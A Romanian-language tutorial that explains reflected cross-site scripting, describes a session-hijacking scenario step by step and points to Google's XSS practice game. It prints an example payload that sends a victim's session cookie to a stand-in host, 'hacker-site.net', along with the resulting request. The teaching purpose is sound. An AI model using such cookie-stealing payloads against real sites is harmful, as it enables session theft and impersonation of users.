Ce este Cross-Site Scripting?
Cross-Site Scripting (XSS) este una dintre cele mai populare tehnici de atac de astăzi, cunoscută sub numele de Nașul atacului, și de mulți ani a fost listată drept cea mai periculoasă tehnică de atac pentru aplicații web.
Nu-l numiți pe scurt CSS pentru a evita confuzia cu conceptul HTML Cascading Style Sheet.
Tehnica
XSS se bazează pe inserarea de scripturi periculoase în codul sursă al aplicației web. Pentru a executa cod Javascript rău intenționat pentru a prelua sesiunea de conectare a utilizatorului.
Pentru a înțelege mai bine, să luăm în considerare următorul exemplu. O aplicație web care permite tipărirea valorii pe care o transmitem prin adresa URL, presupunând că trecem în variabila nume valoarea Ping:

Totul este bine până acum, haideți să revizuim codul sursă html:
![Web7: Exploits XSS – Partea 1: XSS reflectat Web7: Exploits XSS – Partea 1: XSS reflectat]()
Ceea ce este ușor de văzut este că valoarea numelui pe care am introdus-o a fost inserată în codul sursă. Deci este posibil ca orice este importat să poată fi de asemenea introdus. Problema devine gravă dacă valoarea introdusă nu este un șir normal ca mai sus, ci o bucată de cod potențial periculoasă, ceva de genul acesta:
Încercați din nou cu valoarea de mai sus:
![Web7: Exploits XSS – Partea 1: XSS reflectat Web7: Exploits XSS – Partea 1: XSS reflectat]()
Din acest exemplu putem concluziona două lucruri. În primul rând, variabila nume poate primi orice valoare de intrare și o poate transmite serverului pentru procesare. În al doilea rând, serverul nu a controlat această valoare de intrare înainte de a o returna în browser. Acest lucru duce la inserarea codului javascript în codul sursă.
XSS este în general împărțit în 3 tipuri principale: reflectat, stocat și bazat pe DOM. În acest articol voi menționa în principal tehnica Reflected XSS.
Până la 75% din tehnicile XSS se bazează pe Reflected XSS. Se numește reflected deoarece în acest tip de scenariu de exploatare, hackerul trebuie să trimită victimei o adresă URL care conține cod rău intenționat (de obicei, javascript). Victima trebuie doar să solicite această adresă URL și hackerul va primi imediat un răspuns care conține rezultatul dorit (reflexivitate afișată aici). În plus, este cunoscut și ca XSS de ordinul întâi.
Scenariul minier din viața reală
Există multe modalități de a exploata eroarea Reflected XSS, una dintre cele mai cunoscute modalități este de a prelua sesiunea utilizatorului, accesând astfel datele și câștigând drepturile acestuia pe site. .
Detaliile sunt descrise în următorii pași:
![Web7: Exploits XSS – Partea 1: XSS reflectat Web7: Exploits XSS – Partea 1: XSS reflectat]()
1. Utilizatorul se conectează la web și presupune că i se atribuie o sesiune:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Cumva, hackerul trimite utilizatorului URL-ul:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Să presupunem că example.com este site-ul web pe care îl vizitează victima, hacker-site.net este site-ul creat de hacker
3. Victima accesează adresa URL de mai sus
4. Serverul răspunde victimei, împreună cu datele conținute în cerere (fragmentul javascript al hackerului)
5. Browserul victimei primește răspunsul și execută javascript
6. Javascriptul real creat de hacker este următorul:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Linia de comandă de mai sus face în esență o solicitare către site-ul hackerului, parametrul fiind cookie-ul utilizatorului:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. De pe site-ul dvs., hackerul va prinde conținutul cererii de mai sus și va considera că sesiunea utilizatorului va fi preluată. În acest moment, hackerul își poate uzurpa identitatea victimei și își poate exercita toate drepturile pe site-ul web pe care victima îl are.
Practică
Google a creat o pagină pentru a exersa exploatarea erorilor XSS aici: https://xss-game.appspot.com
Scopul acestor provocări este că trebuie să injectați scripturi pentru a afișa o fereastră pop-up. Prima provocare este de a ilustra tehnica reflectată, codul de exploatare este destul de simplu:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Noroc!